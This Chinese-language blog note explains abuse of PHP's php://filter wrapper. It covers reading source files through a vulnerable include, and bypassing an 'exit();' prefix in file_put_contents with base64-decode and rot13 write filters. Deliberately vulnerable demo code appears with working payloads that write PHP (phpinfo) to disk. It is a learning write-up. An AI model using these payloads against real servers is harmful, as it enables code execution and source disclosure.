# 前言
谨以此篇记录一下 php://filter 在一些情况下的使用方法,主要是 php://filter 在 file_put_content 写文件时的一些方法,看到网上有很多师傅都有对这一块的文章,这里做一下记录和测试
# 什么是 php://filter
首先来看看官方文档中怎么解释这个伪协议
php://filter 是一种元封装器, 设计用于数据流打开时的筛选过滤应用。 这对于一体式(all-in-one)的文件函数非常有用,类似 readfile()、 file() 和 file_get_contents(), 在数据流内容读取之前没有机会应用其他过滤器。
说白了,我们可以通过这个伪协议来读写文件,这也和本篇要记录的使用方法息息相关
# 利用场景
# 配合 include 读取文件
文件包含和 xxe 中会常见到它的身影,本篇主要对文件包含进行测试和记录
demo
<?php | |
$file=$_GET['file']; | |
include($file); | |
?> | |
//?file=php://filter/read=convert.base64-encode/resource=index.php |
可以通过伪协议来读取文件
# 绕过 file_put_conten 中的 exit&die
开始本篇的主要部分
主要分俩种情况
file_put_contents($filename,"<?php exit();".$content); | |
//file_put_contents($filename,"<?php die();".$content); | |
file_put_contents($content,"<?php exit();".$content); | |
//file_put_contents($content,"<?php die();".$content); |
首先来说第一种,就是写入文件时,data 部分前拼接上了 exit 或者 die 使得程序提前终止,写入的 data 不能执行,当然绕过的方式也不难,上面再 include 的利用场景中可以看到 base64-encode 编码,当然也有解码,因为 base64 编码字符没有 <?>, 也就不能正常识别
这里利用的就是这个方式
demo
<?php | |
highlight_file(__FILE__); | |
$file=$_GET['file']; | |
$data=$_POST['data']; | |
@file_put_contents($file,"<?php exit();".$data); | |
?> | |
/*get:?file=php://filter/convert.base64-decode/resource=1.php | |
post:APD9waHAgcGhwaW5mbygpOyA/Pg== | |
这里post前要加一个字符,什么都行,因为base64是4个字符一起解码,前面的phpexit是7位,如果不补齐解码会将后面的D算上,导致解码不出预期结果 | |
*/ |
成功写入,在短标签没开启的情况下还有一种方式
php://filter/write=string.rot13/resource= |
使用方式相同这里简单的过一下即可
接下来记录第二种情况
在这种情况下就不能再使用 base64,因为 base64 遇到 = 就终止了
data=php://filter/write=string.rot13|<?cuc cucvasb(); ?>|/resource=clown.php